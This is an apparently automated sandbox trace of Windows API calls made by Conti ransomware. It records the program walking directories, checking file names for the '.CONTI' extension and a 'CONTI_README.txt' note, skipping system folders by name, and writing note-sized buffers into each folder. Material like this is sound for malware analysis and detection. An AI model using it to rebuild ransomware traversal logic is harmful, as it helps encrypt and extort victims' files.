	[0109.677] lstrcpyW (in: lpString1=0x65bb950, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.677] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.677] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml"
	[0109.677] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="602__C~1.PRO")) returned 1
	[0109.677] lstrcmpiW (lpString1="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.677] lstrcmpiW (lpString1="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.677] StrStrIW (lpFirst="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.677] StrStrIW (lpFirst="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.677] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.677] lstrlenW (lpString="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned 62
	[0109.677] GetProcessHeap () returned 0x1720000
	[0109.677] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bba98
	[0109.677] lstrcpyW (in: lpString1=0x65bba98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.677] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.677] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml"
	[0109.677] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="603__C~1.PRO")) returned 1
	[0109.677] lstrcmpiW (lpString1="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.677] lstrcmpiW (lpString1="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.677] StrStrIW (lpFirst="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.677] StrStrIW (lpFirst="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.678] lstrlenW (lpString="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned 62
	[0109.678] GetProcessHeap () returned 0x1720000
	[0109.678] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bbe70
	[0109.678] lstrcpyW (in: lpString1=0x65bbe70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.678] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.678] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml"
	[0109.678] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="604__C~1.PRO")) returned 1
	[0109.678] lstrcmpiW (lpString1="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.678] lstrcmpiW (lpString1="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.678] StrStrIW (lpFirst="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.678] StrStrIW (lpFirst="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.678] lstrlenW (lpString="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.678] GetProcessHeap () returned 0x1720000
	[0109.678] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x65b8a08
	[0109.678] lstrcpyW (in: lpString1=0x65b8a08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.678] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.678] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml"
	[0109.678] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="605__C~1.PRO")) returned 1
	[0109.688] lstrcmpiW (lpString1="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.688] lstrcmpiW (lpString1="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.688] StrStrIW (lpFirst="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.689] StrStrIW (lpFirst="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.689] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.693] lstrlenW (lpString="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml") returned 70
	[0109.693] GetProcessHeap () returned 0x1720000
	[0109.693] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x65ba238
	[0109.693] lstrcpyW (in: lpString1=0x65ba238, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.693] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.698] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml"
	[0109.698] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="606__C~1.PRO")) returned 1
	[0109.698] lstrcmpiW (lpString1="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.698] lstrcmpiW (lpString1="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.698] StrStrIW (lpFirst="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.698] StrStrIW (lpFirst="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0114.280] CloseHandle (hObject=0x318) returned 1
	[0114.280] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2958c27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x57f5cc83, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7d30
	[0114.280] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0138.089] GetProcessHeap () returned 0x1720000
	[0138.089] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17407a8 | out: hHeap=0x1720000) returned 1
	[0138.089] WriteFile (in: hFile=0x448, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0138.090] CloseHandle (hObject=0x448) returned 1
	[0138.090] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9a133e0, ftCreationTime.dwHighDateTime=0x1d5d68d, ftLastAccessTime.dwLowDateTime=0xe5f5c580, ftLastAccessTime.dwHighDateTime=0x1d5d117, ftLastWriteTime.dwLowDateTime=0x6626ca93, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x6b7f438
	[0138.091] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0138.091] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0138.091] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0138.091] lstrcmpiW (lpString1="7u5L2vhmIDtZB3.ods", lpString2=".") returned 1
	[0138.091] lstrcmpiW (lpString1="7u5L2vhmIDtZB3.ods", lpString2="..") returned 1
	[0138.091] StrStrIW (lpFirst="7u5L2vhmIDtZB3.ods", lpSrch=".CONTI") returned 0x0
	[0138.091] StrStrIW (lpFirst="7u5L2vhmIDtZB3.ods", lpSrch="CONTI_README.txt") returned 0x0
	[0138.091] GetProcessHeap () returned 0x1720000
	[0138.091] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x1740730
	[0144.172] FindClose (in: hFindFile=0x6b7ec78 | out: hFindFile=0x6b7ec78) returned 1
	[0144.172] GetProcessHeap () returned 0x1720000
	[0144.172] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0070 | out: hHeap=0x1720000) returned 1
	[0144.172] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0144.172] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0144.172] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0144.172] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="tmp") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="winnt") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="Application Data") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="AppData") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="thumb") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="$Recycle.Bin") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="$RECYCLE.BIN") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="System Volume Information") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="Program Files") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="Program Files (x86)") returned -1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="Boot") returned 1
	[0144.172] lstrcmpiW (lpString1="Desktop", lpString2="Windows") returned -1
	[0144.173] GetProcessHeap () returned 0x1720000
	[0144.173] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x30) returned 0x1738f30
	[0144.173] GetProcessHeap () returned 0x1720000
	[0144.173] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x34) returned 0x6b7ec78
	[0144.173] lstrcpyW (in: lpString1=0x6b7ec78, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0144.173] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*" | out: lpString1="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*"
	[0144.173] GetProcessHeap () returned 0x1720000
	[0144.173] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x1740f80
	[0144.174] GetProcessHeap () returned 0x1720000
	[0144.174] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740f80 | out: hHeap=0x1720000) returned 1
	[0144.174] WriteFile (in: hFile=0x44c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0144.175] CloseHandle (hObject=0x44c) returned 1
	[0144.175] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4e6142bc, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e6142bc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x6b7e938
	[0144.175] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0144.176] StrStrIW (lpFirst="Acrobat Reader DC.lnk", lpSrch=".CONTI") returned 0x0
	[0144.176] StrStrIW (lpFirst="Acrobat Reader DC.lnk", lpSrch="CONTI_README.txt") returned 0x0
	[0144.176] GetProcessHeap () returned 0x1720000
	[0144.176] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d508
	[0145.015] GetProcessHeap () returned 0x1720000
	[0145.015] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d810 | out: hHeap=0x1720000) returned 1
	[0145.015] WriteFile (in: hFile=0x490, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0145.016] CloseHandle (hObject=0x490) returned 1
	[0145.016] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x6a47de2b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x175e730
	[0145.016] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0145.018] GetProcessHeap () returned 0x1720000
	[0145.018] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740da0 | out: hHeap=0x1720000) returned 1
	[0145.018] WriteFile (in: hFile=0x35c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0145.019] CloseHandle (hObject=0x35c) returned 1
	[0145.019] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\2052\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x6a47de2b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c7770
	[0145.019] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0145.990] GetProcessHeap () returned 0x1720000
	[0145.990] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5908 | out: hHeap=0x1720000) returned 1
	[0145.990] WriteFile (in: hFile=0x450, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0145.991] CloseHandle (hObject=0x450) returned 1
	[0145.991] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x6adbada8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17de590
	[0145.992] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0145.995] GetProcessHeap () returned 0x1720000
	[0145.995] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dee60 | out: hHeap=0x1720000) returned 1
	[0145.995] WriteFile (in: hFile=0x450, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0145.996] CloseHandle (hObject=0x450) returned 1
	[0145.996] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\i386\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x6adbada8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17de790
	[0145.996] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0146.001] GetProcessHeap () returned 0x1720000
	[0146.001] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dea70 | out: hHeap=0x1720000) returned 1
	[0146.001] WriteFile (in: hFile=0x450, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0146.002] CloseHandle (hObject=0x450) returned 1
